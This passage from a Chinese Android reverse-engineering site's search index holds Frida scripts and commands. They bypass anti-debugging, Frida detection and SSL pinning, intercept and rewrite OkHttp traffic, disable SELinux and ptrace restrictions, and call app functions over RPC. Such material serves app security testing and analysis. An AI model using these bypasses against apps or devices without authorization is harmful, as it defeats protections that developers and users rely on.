","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:5:2","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#问题-2-rpc-调用超时"},{"categories":null,"collections":null,"content":"问题 3: Frida 被检测 常见检测方式： 检查端口 // App Code Socket socket = new Socket(\"127.0.0.1\", 27042); // Frida default port 绕过：修改 Frida Server 端口 frida-server -l 0.0.0.0:8888 检查 maps 文件 BufferedReader reader = new BufferedReader(new FileReader(\"/proc/self/maps\")); if (line.contains(\"frida\")) { System.exit(0); } 绕过：使用魔改版 Frida # strongR-frida wget https://github.com/hluwa/strongR-frida-android/releases/download/xxx/frida-server ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:5:3","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#问题-3-frida-被检测"},{"categories":null,"collections":null,"content":"问题 4: 调试器无法附加 症状：IDA Pro 显示 “Cannot attach to process” 解决： 检查 SELinux adb shell getenforce # If is Enforcing adb shell setenforce 0 确认进程存在 adb shell ps | grep \u003capp_name\u003e # 确认 PID 正确 检查 ptrace 权限 adb shell su echo 0 \u003e /proc/sys/kernel/yama/ptrace_scope ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:5:4","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#问题-4-调试器无法附加"},{"categories":null,"collections":null,"content":"问题 5: Stalker 导致 App 卡死 症状：启用 Stalker 后 App 卡死 优化： 只追踪关键模块（见第 7.2 步） 减少事件类型 events: { call: true, // Only record function calls ret: false, // Don't record returns exec: false // Don't record every instruction } 使用 transform 过滤 transform: function(iterator) { // Skip code we don't care about } ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:5:5","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#问题-5-stalker-导致-app-卡死"},{"categories":null,"collections":null,"content":"延伸阅读 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:6:0","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#延伸阅读"},{"categories":null,"collections":null,"content":"相关配方 静态分析深入 - 先静态找到目标 Frida 常用脚本 - Hook 脚本模板 Frida 反调试 - 绕过检测 SSL Pinning 绕过 - 抓包必备 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:6:1","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#相关配方"},{"categories":null,"collections":null,"content":"工具深入 Frida 完整指南 IDA Pro 调试 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:6:2","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#工具深入"},{"categories":null,"collections":null,"content":"在线资源 资源 链接 Frida 官方文档 https://frida.re/docs/ Frida Codeshare https://codeshare.frida.re/ Frida Handbook https://learnfrida.info/ ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:6:3","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#在线资源"},{"categories":null,"collections":null,"content":"理论基础 ARM 汇编 - 理解 Native 调试 ART 运行时 - 理解 Java Hook ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:6:4","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#理论基础"},{"categories":null,"collections":null,"content":"快速参考 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:7:0","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#快速参考"},{"categories":null,"collections":null,"content":"Frida Hook 模板 Hook Java 方法： Java.perform(function () { var ClassName = Java.use(\"com.example.ClassName\"); ClassName.methodName.implementation = function (arg1, arg2) { console.log(\"[*] methodName called\"); console.log(\" arg1:\", arg1); console.log(\" arg2:\", arg2); var result = this.methodName(arg1, arg2); console.log(\" result:\", result); return result; }; }); Hook Native 方法： Interceptor.attach(Module.findExportByName(\"libnative.so\", \"native_func\"), { onEnter: function (args) { console.log(\"[*] native_func called\"); console.log(\" arg0:\", args[0]); console.log(\" arg1:\", args[1]); }, onLeave: function (retval) { console.log(\" retval:\", retval); }, }); RPC 导出模板： rpc.exports = { callMethod: function (className, methodName, args) { var result = null; Java.perform(function () { var Class = Java.use(className); result = Class[methodName].apply(Class, args); }); return result; }, }; ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:7:1","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#frida-hook-模板"},{"categories":null,"collections":null,"content":"IDA Pro 调试快捷键 快捷键 功能 F2 设置断点 F9 继续执行 F7 单步进入 F8 单步跳过 Ctrl+F7 执行到返回 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:7:2","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#ida-pro-调试快捷键"},{"categories":null,"collections":null,"content":"GDB 常用命令 命令 功能 break \u003caddr\u003e 设置断点 continue 继续执行 step 单步进入 next 单步跳过 finish 执行到返回 info registers 查看寄存器 x/10x $sp 查看栈内容 成功验证分析结果了吗？ 现在你可以获取运行时数据了！ 下一步推荐：Frida 常用脚本（更多实用脚本模板） ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:7:3","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#gdb-常用命令"},{"categories":null,"collections":null,"content":"Frida 常用脚本速查手册 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： Frida 完整指南 - 掌握 Frida 基础语法与 API ADB 速查手册 - 设备连接与应用管理 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:0:0","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#frida-常用脚本速查手册"},{"categories":null,"collections":null,"content":"问题场景 你在使用 Frida 进行 Android 逆向时,经常遇到以下情况: 💭 “我需要绕过 SSL Pinning 抓包,但不想从零写脚本” 💭 “如何快速 Hook 所有 JNI 函数来分析 Native 层?” 💭 “想拦截并修改网络请求,有现成的模板吗?” 💭 “需要从 PC 端主动调用 App 的加密函数,怎么写 RPC?” 💭 “App 检测到 Frida 就闪退,有通用的绕过脚本吗?” 本配方提供一套经过实战验证的 Frida 脚本模板库,按场景分类,可直接使用或快速修改。每个脚本都包含详细注释和使用说明。 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:1:0","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#问题场景"},{"categories":null,"collections":null,"content":"工具清单 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:2:0","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#工具清单"},{"categories":null,"collections":null,"content":"必需工具 Frida - 已安装并配置好 (参考 Frida 使用指南) Root 设备/模拟器 - 运行 Frida Server 目标应用已安装 - 需要分析的 App ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:2:1","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#必需工具"},{"categories":null,"collections":null,"content":"可选工具 ☐ Python 3 - 用于 RPC 控制脚本 ☐ mitmproxy/Burp Suite - 配合 SSL Pinning 绕过使用 ☐ IDA Pro/Ghidra - 用于分析 Native 代码确定 Hook 点 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:2:2","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#可选工具"},{"categories":null,"collections":null,"content":"前置条件 ✅ Frida 环境已配置并能成功 attach 到目标应用 ✅ 了解基本的 JavaScript 语法 ✅ 知道如何运行 Frida 脚本 (frida -U -f com.app -l script.js) ✅ 能识别需要 Hook 的类/函数名(至少知道包名) ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:3:0","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#前置条件"},{"categories":null,"collections":null,"content":"脚本索引 本手册包含以下 8 类场景的脚本: 场景 脚本数量 适用情况 🛡️ 绕过保护机制 3 个 反调试、反 Frida、SSL Pinning 网络拦截与修改 1 个 抓包、修改请求/响应 自动化 RPC 调用 1 套 主动调用加密函数、批量测试 JNI 函数分析 5 个 Native 层逆向、参数追踪 通用 Hook 模板 3 个 快速定位、批量 Hook C 代码辅助工具 2 个 算法仿真、设备指纹生成 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:4:0","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#脚本索引"},{"categories":null,"collections":null,"content":"1. 绕过保护机制 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:5:0","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#1-绕过保护机制"},{"categories":null,"collections":null,"content":"脚本 1.1: 绕过 TracerPid 反调试检测 何时使用: App 通过读取 /proc/self/status 中的 TracerPid 来检测调试器。 工作原理: Hook fgets 函数,当检测到读取 TracerPid 时,将其值强制改为 0。 // bypass_tracerpid.js - Bypass TracerPid Anti-Debugging // Step 1: Establish FILE* to path mapping var fpMap = {}; // Hook fopen to record file paths Interceptor.attach(Module.findExportByName(null, \"fopen\"), { onEnter: function (args) { this.path = args[0].readCString(); }, onLeave: function (retval) { if (!retval.isNull() \u0026\u0026 this.path) { fpMap[retval.toString()] = this.path; if (this.path.includes(\"/status\")) { console.log(\"[+] fopen: \" + this.path); } } }, }); // Hook fgets to modify TracerPid value Interceptor.attach(Module.findExportByName(null, \"fgets\"), { onEnter: function (args) { this.buf = args[0]; this.fp = args[2]; }, onLeave: function (retval) { if (retval.isNull()) return; var fp = this.fp.toString(); var path = fpMap[fp]; if (path \u0026\u0026 path.endsWith(\"/status\")) { var line = this.buf.readCString(); if (line \u0026\u0026 line.includes(\"TracerPid:\")) { var oldValue = line.match(/TracerPid:\\s*(\\d+)/); this.buf.writeUtf8String(\"TracerPid:\\t0\\n\"); if (oldValue \u0026\u0026 oldValue[1] !== \"0\") { console.log(\"✓ [TracerPid] Modify: \" + oldValue[1] + \" -\u003e 0\"); } } } }, }); console.log(\"[+] TracerPid Anti-Debugging Bypass activated\"); 使用方法: # Spawn mode (recommended) frida -U -f com.target.app -l bypass_tracerpid.js --no-pause # Attach mode frida -U com.target.app -l bypass_tracerpid.js ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:5:1","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#脚本-11-绕过-tracerpid-反调试检测"},{"categories":null,"collections":null,"content":"脚本 1.2: 隐藏 Frida 特征字符串 何时使用: App 通过搜索进程内存中的 “frida” 字符串来检测 Frida。 工作原理: Hook 字符串比较函数,当发现比较内容包含 “frida” 时,返回不匹配。 // hide_frida_strings.js - Hide Frida signature strings // Hook strstr (most commonly used string search function) var strstrPtr = Module.findExportByName(\"libc.so\", \"strstr\"); if (strstrPtr) { Interceptor.attach(strstrPtr, { onEnter: function (args) { this.haystack = args[0].readCString(); this.needle = args[1].readCString(); }, onLeave: function (retval) { if (this.haystack \u0026\u0026 this.needle) { var haystackLower = this.haystack.toLowerCase(); var needleLower = this.needle.toLowerCase(); if (haystackLower.includes(\"frida\") || needleLower.includes(\"frida\")) { console.log(\"✓ [strstr] Intercept Frida Detection:\"); console.log( ' Search: \"' + this.needle + '\" in \"' + this.haystack.substring(0, 50) + '...\"' ); retval.replace(ptr(0)); // Return NULL (not found) } } }, }); console.log(\"[+] strstr hook configured\"); } // Hook strcmp var strcmpPtr = Module.findExportByName(\"libc.so\", \"strcmp\"); if (strcmpPtr) { Interceptor.attach(strcmpPtr, { onEnter: function (args) { this.str1 = args[0].readCString(); this.str2 = args[1].readCString(); }, onLeave: function (retval) { if (this.str1 \u0026\u0026 this.str2) { var str1Lower = this.str1.toLowerCase(); var str2Lower = this.str2.toLowerCase(); if (str1Lower.includes(\"frida\") || str2Lower.includes(\"frida\")) { console.log(\"✓ [strcmp] Intercept Frida Detection:\"); console.log( ' Comparing: \"' + this.str1 + '\" vs \"' + this.str2 + '\"' ); retval.replace(1); // Return non-zero (not equal) } } }, }); console.log(\"[+] strcmp hook configured\"); } console.log(\"[+] Frida string hiding activated\"); 使用方法: frida -U -f com.target.app -l hide_frida_strings.js --no-pause ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:5:2","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#脚本-12-隐藏-frida-特征字符串"},{"categories":null,"collections":null,"content":"脚本 1.3: 通用 SSL Pinning 绕过 何时使用: 需要使用中间人代理 (如 Burp Suite) 抓取 HTTPS 流量,但 App 实现了证书校验。 工作原理: Hook 常见网络库(TrustManager、OkHttp3、HttpsURLConnection)的证书校验函数。 // bypass_ssl_pinning.js - Universal SSL Pinning Bypass Script Java.perform(function () { console.log(\"[+] Starting SSL Pinning bypass...\"); // ======================================== // 1. TrustManagerImpl (system level) // ======================================== try { var TrustManagerImpl = Java.use( \"com.android.org.conscrypt.TrustManagerImpl\" ); // android 7.0+ TrustManagerImpl.verifyChain.implementation = function ( untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData ) { console.log(\"✓ [TrustManagerImpl] Bypass cert validation: \" + host); return untrustedChain; // Trust directly }; console.log(\"[+] TrustManagerImpl Hook 成功\"); } catch (e) { console.log(\"[-] TrustManagerImpl not found: \" + e); } // ======================================== // 2. OkHttp3 (most commonly used) // ======================================== try { var CertificatePinner = Java.use(\"okhttp3.CertificatePinner\"); CertificatePinner.check.overload( \"java.lang.String\", \"java.util.List\" ).implementation = function (hostname, peerCertificates) { console.log(\"✓ [OkHttp3] Bypass cert pinning: \" + hostname); return; // Skip all checks }; console.log(\"[+] OkHttp3 CertificatePinner Hook 成功\"); } catch (e) { console.log(\"[-] OkHttp3 not found: \" + e); } // ======================================== // 3. OkHttp3 - Hostname Verifier // ======================================== try { var OkHostnameVerifier = Java.use( \"okhttp3.internal.tls.OkHostnameVerifier\" ); OkHostnameVerifier.verify.overload( \"java.lang.String\", \"javax.net.ssl.SSLSession\" ).implementation = function (host, session) { console.log(\"✓ [OkHttp3] Bypass hostname validation: \" + host); return true; // Always return validation passed }; console.log(\"[+] OkHostnameVerifier Hook 成功\"); } catch (e) { console.log(\"[-] OkHostnameVerifier not found: \" + e); } // ======================================== // 4. HttpsURLConnection // ======================================== try { var HttpsURLConnection = Java.use(\"javax.net.ssl.HttpsURLConnection\"); HttpsURLConnection.setDefaultHostnameVerifier.implementation = function ( hostnameVerifier ) { console.log( \"✓ [HttpsURLConnection] Intercept setDefaultHostnameVerifier\" ); return; // Don't set verifier }; HttpsURLConnection.setSSLSocketFactory.implementation = function ( socketFactory ) { console.log(\"✓ [HttpsURLConnection] Intercept setSSLSocketFactory\"); return; // Don't set factory }; HttpsURLConnection.setHostnameVerifier.implementation = function ( hostnameVerifier ) { console.log(\"✓ [HttpsURLConnection] Intercept setHostnameVerifier\"); return; }; console.log(\"[+] HttpsURLConnection Hook 成功\"); } catch (e) { console.log(\"[-] HttpsURLConnection Hook Failed: \" + e); } // ======================================== // 5. SSLContext // ======================================== try { var SSLContext = Java.use(\"javax.net.ssl.SSLContext\"); SSLContext.init.overload( \"[Ljavax.net.ssl.KeyManager;\", \"[Ljavax.net.ssl.TrustManager;\", \"java.security.SecureRandom\" ).implementation = function (km, tm, random) { console.log(\"✓ [SSLContext] Use custom TrustManager\"); // Create a TrustManager that trusts all certificates var TrustManager = Java.use(\"javax.net.ssl.X509TrustManager\"); var EmptyTrustManager = Java.registerClass({ name: \"com.frida.EmptyTrustManager\", implements: [TrustManager], methods: { checkClientTrusted: function (chain, authType) {}, checkServerTrusted: function (chain, authType) {}, getAcceptedIssuers: function () { return []; }, }, }); var emptyTrustManager = EmptyTrustManager.$new(); this.init(km, [emptyTrustManager], random); }; console.log(\"[+] SSLContext Hook 成功\"); } catch (e) { console.log(\"[-] SSLContext Hook Failed: \" + e); } console.log(\"[+] SSL Pinning bypass configuration complete\"); }); 使用方法: # 1. Start Burp Suite/mitmproxy on PC # 2. Run script frida -U -f com.target.app -l bypass_ssl_pi","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:5:3","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#脚本-13-通用-ssl-pinning-绕过"},{"categories":null,"collections":null,"content":"2. 网络拦截与修改 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:6:0","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#2-网络拦截与修改"},{"categories":null,"collections":null,"content":"脚本 2.1: OkHttp3 流量拦截与修改 何时使用: 需要在不使用代理的情况下,直接在 App 内部拦截和修改网络流量。 工作原理: Hook OkHttp3 的 RealInterceptorChain.proceed 方法,可以访问和修改请求/响应。 // intercept_okhttp.js - Intercept and modify OkHttp3 network requests Java.perform(function () { console.log(\"[+] Starting OkHttp3 hook...\"); try { var RealInterceptorChain = Java.use( \"okhttp3.internal.http.RealInterceptorChain\" ); RealInterceptorChain.proceed.implementation = function (request) { // ======================================== // Request Interception // ======================================== console.log(\"\\n[REQUEST] ========================================\"); console.log(\" URL: \" + request.url().toString()); console.log(\" Method: \" + request.method()); // Print request headers var headers = request.headers(); var headerCount = headers.size(); if (headerCount \u003e 0) { console.log(\" Headers:\"); for (var i = 0; i \u003c headerCount; i++) { console.log(\" \" + headers.name(i) + \": \" + headers.value(i)); } } // Print request body var requestBody = request.body(); if (requestBody) { try { var Buffer = Java.use(\"okio.Buffer\"); var buffer = Buffer.$new(); requestBody.writeTo(buffer); var bodyString = buffer.readUtf8(); console.log(\" Body: \" + bodyString); } catch (e) { console.log(\" Body: [Cannot read]\"); } } // ======================================== // Modify Request (Optional) // ======================================== var modifiedRequest = request .newBuilder() .header(\"X-Custom-Header\", \"Injected-By-Frida\") // Add custom header .header(\"User-Agent\", \"FridaBot/1.0\") // Modify User-Agent .build(); // Execute request var response = this.proceed(modifiedRequest); // ======================================== // Response Interception // ======================================== console.log(\"\\n[RESPONSE] ========================================\"); console.log(\" Code: \" + response.code()); console.log(\" Message: \" + response.message()); // Print response headers var respHeaders = response.headers(); var respHeaderCount = respHeaders.size(); if (respHeaderCount \u003e 0) { console.log(\" Headers:\"); for (var i = 0; i \u003c respHeaderCount; i++) { console.log( \" \" + respHeaders.name(i) + \": \" + respHeaders.value(i) ); } } // ======================================== // Modify Response (Optional) // ======================================== var responseBody = response.body(); if (responseBody) { try { var contentType = responseBody.contentType(); var bodyString = responseBody.string(); console.log(\" Body: \" + bodyString.substring(0, 500)); // Example: Modify JSON response field if (bodyString.includes('\"status\"')) { var modifiedBody = bodyString.replace( /\"status\":\"error\"/g, '\"status\":\"success\"' ); console.log(\"✓ [Modify] Status field: error -\u003e success\"); // Rebuild response var MediaType = Java.use(\"okhttp3.MediaType\"); var ResponseBody = Java.use(\"okhttp3.ResponseBody\"); var newBody = ResponseBody.create(contentType, modifiedBody); return response.newBuilder().body(newBody).build(); } // If not modified, need to recreate body (because it was already read) var ResponseBody = Java.use(\"okhttp3.ResponseBody\"); var newBody = ResponseBody.create(contentType, bodyString); return response.newBuilder().body(newBody).build(); } catch (e) { console.log(\" Body: [Read failed] \" + e); } } return response; }; console.log(\"[+] OkHttp3 Hook 成功\"); } catch (e) { console.log(\"[-] Hook Failed: \" + e); } }); 使用方法: frida -U -f com.target.app -l intercept_okhttp.js --no-pause ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:6:1","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#脚本-21-okhttp3-流量拦截与修改"},{"categories":null,"collections":null,"content":"3. 自动化 RPC 调用 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:7:0","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#3-自动化-rpc-调用"},{"categories":null,"collections":null,"content":"脚本 3.1: RPC 远程过程调用框架 何时使用: 需要从 PC 端批量调用 App 的加密函数、签名算法等,进行自动化测试。 Frida 脚本 (rpc_agent.js): // rpc_agent.js - RPC export functions for Python calls console.log(\"[+] RPC Agent loaded\"); // Define exported RPC functions rpc.exports = { // ======================================== // Example 1: Call static encryption function // ======================================== callEncrypt: function (plaintext) { var result = \"\"; Java.perform(function () { try { // Modify to target app's actual class name and method name var CryptoUtil = Java.use(\"com.example.app.utils.CryptoUtil\"); // Call static method result = CryptoUtil.encrypt(plaintext); console.log('[RPC] encrypt(\"' + plaintext + '\") = ' + result); } catch (e) { result = \"ERROR: \" + e; console.log(\"[-] \" + result); } }); return result; }, // ======================================== // Example 2: Call instance method // ======================================== callInstanceMethod: function (className, methodName, args) { var result = \"\"; Java.perform(function () { try { var TargetClass = Java.use(className); // Enumerate all instances Java.choose(className, { onMatch: function (instance) { console.log(\"[RPC] Found instance: \" + instance); // Call instance method result = instance[methodName].apply(instance, args); console.log(\"[RPC] \" + methodName + \"() = \" + result); }, onComplete: function () {}, }); } catch (e) { result = \"ERROR: \" + e; console.log(\"[-] \" + result); } }); return result; }, // ======================================== // Example 3: Call Native Function // ======================================== callNativeFunction: function (libraryName, functionName, args) { try { var funcAddr = Module.findExportByName(libraryName, functionName); if (!funcAddr) { return \"ERROR: Function not found\"; } // Define function signature (modify based on actual situation) // Example: int encrypt(char* input, char* output, int length) var nativeFunc = new NativeFunction(funcAddr, \"int\", [ \"pointer\", \"pointer\", \"int\", ]); // Prepare parameters var input = Memory.allocUtf8String(args[0]); var output = Memory.alloc(1024); // Call function var ret = nativeFunc(input, output, args[0].length); var result = output.readCString(); console.log(\"[RPC] Native \" + functionName + \"() returned: \" + ret); console.log(\"[RPC] Output: \" + result); return result; } catch (e) { return \"ERROR: \" + e; } }, // ======================================== // Example 4: Get app info // ======================================== getAppInfo: function () { var info = {}; Java.perform(function () { var Context = Java.use(\"android.app.ActivityThread\") .currentApplication() .getApplicationContext(); var PackageManager = Context.getPackageManager(); var PackageName = Context.getPackageName(); var PackageInfo = PackageManager.getPackageInfo(PackageName, 0); info.packageName = PackageName; info.versionName = PackageInfo.versionName.value; info.versionCode = PackageInfo.versionCode.value; console.log(\"[RPC] App Info: \" + JSON.stringify(info)); }); return info; }, }; console.log(\"[+] RPC functions exported:\"); console.log(\" - callEncrypt(plaintext)\"); console.log(\" - callInstanceMethod(className, methodName, args)\"); console.log(\" - callNativeFunction(libraryName, functionName, args)\"); console.log(\" - getAppInfo()\"); Python 控制脚本 (rpc_controller.py): # rpc_controller.py - Python RPC control script import frida import sys def on_message(message, data): \"\"\"Process messages from Frida script\"\"\" if message['type'] == 'send': print(f\"[*] {message['payload']}\") elif message['type'] == 'error': print(f\"[!] Error: {message['stack']}\") def main(): # ======================================== # Connect to device and app # ======================================== try: device = frida.get_usb_device(timeout=5) print(f\"[+] Connected to device: {device}\") except frida.TimedOutError: print(\"[-] Device connection timeout\") sys.exit(1) # Attach to running app try: package_name = \"com.example.app\" # Modify to target app package name session = device.attach(","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:7:1","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#脚本-31-rpc-远程过程调用框架"},{"categories":null,"collections":null,"content":"4. JNI 函数分析 ","date":"2025-02-24","objectID":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/:8:0","tags":["RSA","Native层","浏览器指纹","Frida脚本","Frida","SSL Pinning"],"title":"Frida 常用脚本速查手册","uri":"/reverse_engineering/android/01-recipes/scripts/frida_common_scripts/#4-jni-函数分析"},{"categories":null,"collections":null,"content":"脚本 4.1: 枚举 SO 文件中的所有 JNI 函数 何时使用: 需要找出某个 Native 库导出了哪些 JNI 函数。 工作原理: 扫描 SO 文件的导出表,过滤出所有以 Java_ 开头的符号。 // enumerate_jni.js - Enumerate all JNI functions in specified SO file function enumerateJNIFunctions(libraryName) { var module = Process.findModuleByName(libraryName); if (!module) { console.log(\"[-] Module not found: \" + libraryName); console.log(\"[*] Trying to wait for module loading...\"); // Monitor dlopen Interceptor.attach(Module.findExportByName(null, \"dlopen\"), { onEnter: function (args) { var path = args[0].readCString(); if (path \u0026\u0026 path.includes(libraryName)) { console.log(\"[+] Detected target library loading: \" + path); this.target = true; } }, onLeave: function (retval) { if (this.target \u0026\u0026 !retval.isNull()) { setTimeout(function () { enumerateJNIFunctions(libraryName); }, 500); } }, }); return; } console.log(\"\\n\" + \"=\".repeat(70)); console.log(\" JNI Function Enumeration: \" + libraryName); console.log(\" Base address: \" + module.base); console.log(\" Size: \" + (module.size / 1024).toFixed(2) + \" KB\"); console.log(\"=\".repeat(70) + \"\\n\"); var exports = module.enumerateExports(); var jniFunctions = []; // Filter JNI functions exports.forEach(function (exp) { if (exp.name.startsWith(\"Java_\")) { jniFunctions.push(exp); } }); if (jniFunctions.length === 0) { console.log(\"[-] No JNI functions found\"); return; } // Sort by name jniFunctions.sort(function (a, b) { return a.name.localeCompare(b.name); }); // Print results jniFunctions.forEach(function (exp, index) { console.log(\"[\" + index + \"] \" + exp.name); console.log(\" Address: \" + exp.address); console.log(\" Offset: +\" + ptr(exp.address).sub(module.base)); // Parse JNI function name // Format: Java_PackageName_ClassName_MethodName var parts = exp.name.split(\"_\"); if (parts.length \u003e= 4) { var packageAndClass = parts.slice(1, -1).join(\".\"); var methodName = parts[parts.length - 1]; console.log( \" Java Method: \" + packageAndClass + \".\" + methodName + \"()\" ); } console.log(); }); console.log(\"[+] Found \" + jniFunctions.length + \" JNI functions\\n\"); } // ======================================== // Usage example // ======================================== var TARGET_LIBRARY = \"libnative-lib.so\"; // Modify to target SO file name // Method 1: If library is already loaded 